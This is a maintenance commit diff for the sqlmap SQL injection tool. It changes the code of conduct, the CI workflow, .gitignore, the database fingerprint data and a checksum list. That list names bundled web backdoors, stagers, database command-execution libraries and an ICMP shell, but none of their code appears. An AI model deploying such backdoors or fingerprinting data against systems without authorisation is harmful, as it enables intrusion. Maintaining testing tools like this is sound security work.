Minor optimization

Co-authored-by: Chris (ChrisJr404) <[email protected]>

.github/CODE_OF_CONDUCT.md

@@ -1,46 +1,22 @@
-# Contributor Covenant Code of Conduct
+# Code of Conduct
 
-## Our Pledge
+## Our Goal
 
-In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
 
-## Our Standards
+## Standards
 
-Examples of behavior that contributes to creating a positive environment include:
+Contributors are expected to:
 
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Be respectful and professional in all communications.
+* Focus on the technical merits of the project.
+* Gracefully accept constructive criticism.
 
-Examples of unacceptable behavior by participants include:
+Unacceptable behavior includes:
 
-* The use of sexualized language or imagery and unwelcome sexual attention or advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Our Responsibilities
-
-Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
-
-Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
-
-## Scope
-
-This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+* Harassment, personal attacks, or doxxing.
+* Any behavior that disrupts the technical progress of the project.
 
 ## Enforcement
 
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
-
-Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
-
-[homepage]: http://contributor-covenant.org
-[version]: http://contributor-covenant.org/version/1/4/
+The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.

.github/workflows/tests.yml

@@ -3,29 +3,123 @@ on:
     branches: [ master ]
   pull_request:
     branches: [ master ]
+  workflow_dispatch:
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
 
 jobs:
   build:
     runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+
     strategy:
       matrix:
-        os: [ubuntu-latest, macos-latest, windows-latest]
-        python-version: [ 'pypy-2.7', '3.8', '3.14' ]
-        exclude:
+        include:
+          - os: ubuntu-latest
+            python-version: "pypy-2.7"
           - os: macos-latest
-            python-version: 'pypy-2.7'
+            python-version: "3.8"
+          - os: windows-latest
+            python-version: "3.14"
+
     steps:
       - name: Checkout code
         uses: actions/checkout@v4
         with:
           fetch-depth: 1
+          persist-credentials: false
+
       - name: Set up Python ${{ matrix.python-version }}
         uses: actions/setup-python@v5
         with:
           python-version: ${{ matrix.python-version }}
+
+      - name: Python sanity
+        run: python -VV
+
+      - name: Pyflakes lint
+        shell: bash
+        run: |
+          python - <<'PY'
+          from __future__ import print_function
+
+          import subprocess
+          import sys
+
+          subprocess.check_call([
+              sys.executable, "-m", "pip", "install", "pyflakes"
+          ])
+
+          files = subprocess.check_output(
+              ["git", "ls-files", "*.py"]
+          ).decode("utf-8").splitlines()
+
+          files = [
+              f for f in files
+              if not f.startswith("thirdparty/")
+          ]
+
+          proc = subprocess.Popen(
+              [sys.executable, "-m", "pyflakes"] + files,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.STDOUT,
+          )
+          out, _ = proc.communicate()
+
+          text = out.decode("utf-8", "replace")
+          lines = [
+              line for line in text.splitlines()
+              if " redefines " not in line
+          ]
+
+          if lines:
+              print("\n".join(lines))
+              sys.exit(1)
+
+          if proc.returncode not in (0, 1):
+              if text:
+                  print(text)
+              print("pyflakes failed unexpectedly with status %s" % proc.returncode)
+              sys.exit(proc.returncode or 1)
+
+          print("pyflakes: clean")
+          PY
+
       - name: Basic import test
         run: python -c "import sqlmap; import sqlmapapi"
+
+      - name: Install optional test deps (lxml, jinja2)
+        # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
+        # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
+        # endpoints) skip themselves when the engine is unavailable, so these deps are only needed
+        # on the Py3 jobs.
+        if: matrix.python-version != 'pypy-2.7'
+        run: python -m pip install -q lxml jinja2
+
+      - name: Unit tests
+        # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
+        # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
+        # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
+        run: python -B -m unittest discover -s tests -p "test_*.py"
+
+      - name: Coverage
+        if: matrix.python-version != 'pypy-2.7'
+        run: |
+          python -m pip install coverage
+          python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
+          python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
+          python -m coverage report --fail-under=50
+
       - name: Smoke test
-        run: python sqlmap.py --smoke
+        run: python sqlmap.py --smoke-test
+
       - name: Vuln test
-        run: python sqlmap.py --vuln
+        run: python sqlmap.py --vuln-test
+
+      - name: API test
+        run: python sqlmap.py --api-test

.gitignore

@@ -5,4 +5,14 @@ __pycache__/
 traffic.txt
 *~
 req*.txt
-.idea/
+.idea/
+.aider*
+.DS_Store
+.github/.DS_Store
+data/.DS_Store
+extra/.DS_Store
+lib/.DS_Store
+plugins/.DS_Store
+thirdparty/.DS_Store
+CLAUDE.md
+.coverage

README.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png)
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 

data/txt/common-outputs.txt

@@ -24,6 +24,34 @@
 9.2.
 9.3.
 
+# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...')
+10.0.
+10.1.
+10.2.
+10.3.
+10.4.
+10.5.
+10.6.
+10.7.
+10.8.
+10.9.
+10.10.
+10.11.
+11.0.
+11.1.
+11.2.
+11.3.
+11.4.
+11.5.
+11.6.
+11.7.
+11.8.
+12.0.
+12.1.
+12.2.
+12.3.
+13.0.
+
 # PostgreSQL
 PostgreSQL 7.0
 PostgreSQL 7.1
@@ -51,6 +79,7 @@ PostgreSQL 14.
 PostgreSQL 15.
 PostgreSQL 16.
 PostgreSQL 17.
+PostgreSQL 18.
 
 # Oracle
 Oracle Database 9i Standard Edition Release
@@ -97,6 +126,9 @@ Microsoft SQL Server 2025
 'debian-sys-maint'@'localhost'
 'root'@'%'
 'root'@'localhost'
+'mysql.sys'@'localhost'
+'mysql.session'@'localhost'
+'mysql.infoschema'@'localhost'
 
 # MySQL < 5.0
 debian-sys-maint
@@ -420,6 +452,8 @@ XDBWEBSERVICES
 information_schema
 performance_schema
 mysql
+sys
+test
 phpmyadmin
 
 # PostgreSQL

data/txt/sha256sums.txt

@@ -12,62 +12,62 @@ afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4  data/procs/mss
 606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117  data/procs/oracle/read_file_export_extension.sql
 4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb  data/procs/postgresql/dns_request.sql
 7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137  data/procs/README.txt
-519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890  data/shell/backdoors/backdoor.asp_
-fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f  data/shell/backdoors/backdoor.aspx_
-01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5  data/shell/backdoors/backdoor.cfm_
-03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5  data/shell/backdoors/backdoor.jsp_
-2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df  data/shell/backdoors/backdoor.php_
+3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd  data/shell/backdoors/backdoor.asp_
+35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c  data/shell/backdoors/backdoor.aspx_
+081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8  data/shell/backdoors/backdoor.cfm_
+f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a  data/shell/backdoors/backdoor.jsp_
+78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2  data/shell/backdoors/backdoor.php_
 a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64  data/shell/README.txt
-a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1  data/shell/stagers/stager.asp_
-1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e  data/shell/stagers/stager.aspx_
-8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b  data/shell/stagers/stager.cfm_
-c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca  data/shell/stagers/stager.jsp_
-82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701  data/shell/stagers/stager.php_
+a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33  data/shell/stagers/stager.asp_
+8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db  data/shell/stagers/stager.aspx_
+c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b  data/shell/stagers/stager.cfm_
+8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347  data/shell/stagers/stager.jsp_
+af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac  data/shell/stagers/stager.php_
 eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484  data/txt/common-columns.txt
 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240  data/txt/common-files.txt
-9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca  data/txt/common-outputs.txt
+852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae  data/txt/common-outputs.txt
 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11  data/txt/common-tables.txt
 ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29  data/txt/keywords.txt
 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e  data/txt/smalldict.txt
 6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473  data/txt/user-agents.txt
 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6  data/txt/wordlist.tx_
-e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa  data/udf/mysql/linux/32/lib_mysqludf_sys.so_
-77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91  data/udf/mysql/linux/64/lib_mysqludf_sys.so_
-52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0  data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
-ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff  data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
-c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88  data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
-b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643  data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
-8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013  data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
-812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d  data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
-5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f  data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
-cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf  data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
-445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2  data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
-1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b  data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
-050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5  data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
-7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232  data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
-cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf  data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
-d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6  data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
-6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303  data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
-4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b  data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
-bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d  data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
-b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb  data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
-03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65  data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
-e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91  data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
-28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c  data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
-1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88  data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
-2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501  data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
-1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9  data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
-21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870  data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
-6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea  data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
-0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f  data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
-3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee  data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
-3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e  data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
-a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b  data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
-7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6  data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514  data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002  data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0  data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282  data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de  data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa  data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b  data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720  data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937  data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5  data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5  data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2  data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8  data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524  data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9  data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79  data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308  data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d  data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff  data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
+869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc  data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12  data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e  data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69  data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f  data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0  data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f  data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59  data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616  data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60  data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
+c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962  data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf  data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a  data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae  data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241  data/udf/README.txt
-288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551  data/xml/banner/generic.xml
-2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97  data/xml/banner/mssql.xml
-14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb  data/xml/banner/mysql.xml
+f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3  data/xml/banner/generic.xml
+99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217  data/xml/banner/mssql.xml
+332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9  data/xml/banner/mysql.xml
 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd  data/xml/banner/oracle.xml
 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05  data/xml/banner/postgresql.xml
 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e  data/xml/banner/server.xml
@@ -76,20 +76,21 @@ a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b  data/udf/postg
 a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea  data/xml/banner/sharepoint.xml
 e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18  data/xml/banner/x-aspnet-version.xml
 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c  data/xml/banner/x-powered-by.xml
-0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575  data/xml/boundaries.xml
-02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc  data/xml/errors.xml
-d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451  data/xml/payloads/boolean_blind.xml
-88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1  data/xml/payloads/error_based.xml
-b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609  data/xml/payloads/inline_query.xml
+a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5  data/xml/boundaries.xml
+23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054  data/xml/errors.xml
+43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673  data/xml/payloads/boolean_blind.xml
+c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7  data/xml/payloads/error_based.xml
+516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d  data/xml/payloads/inline_query.xml
 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689  data/xml/payloads/stacked_queries.xml
-997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1  data/xml/payloads/time_blind.xml
+379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079  data/xml/payloads/time_blind.xml
 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089  data/xml/payloads/union_query.xml
-a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260  data/xml/queries.xml
+45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82  data/xml/queries.xml
+127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7  doc/ARCHITECTURE.md
 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465  doc/AUTHORS
 ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740  doc/CHANGELOG.md
-c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b  doc/THANKS.md
-d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167  doc/THIRD-PARTY.md
-25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8  doc/translations/README-ar-AR.md
+233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef  doc/THANKS.md
+b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86  doc/THIRD-PARTY.md
+2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2  doc/translations/README-ar-AR.md
 c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89  doc/translations/README-bg-BG.md
 e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41  doc/translations/README-bn-BD.md
 00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9  doc/translations/README-ckb-KU.md
@@ -118,13 +119,13 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb  doc/translatio
 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e  extra/beep/beep.py
 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9  extra/beep/beep.wav
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/beep/__init__.py
-676a764f77109f29c310d7f9424c381516f71944e910efabbc95601af1e49a48  extra/cloak/cloak.py
+7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9  extra/cloak/cloak.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/cloak/__init__.py
 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128  extra/cloak/README.txt
 4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e  extra/dbgtool/dbgtool.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/dbgtool/__init__.py
 a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f  extra/dbgtool/README.txt
-b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7  extra/icmpsh/icmpsh.exe_
+6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b  extra/icmpsh/icmpsh.exe_
 4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c  extra/icmpsh/icmpsh-m.c
 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016  extra/icmpsh/icmpsh-m.pl
 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733  extra/icmpsh/icmpsh_m.py
@@ -133,7 +134,7 @@ ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40  extra/icmpsh/_
 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8  extra/icmpsh/README.txt
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/__init__.py
 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e  extra/runcmd/README.txt
-53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd  extra/runcmd/runcmd.exe_
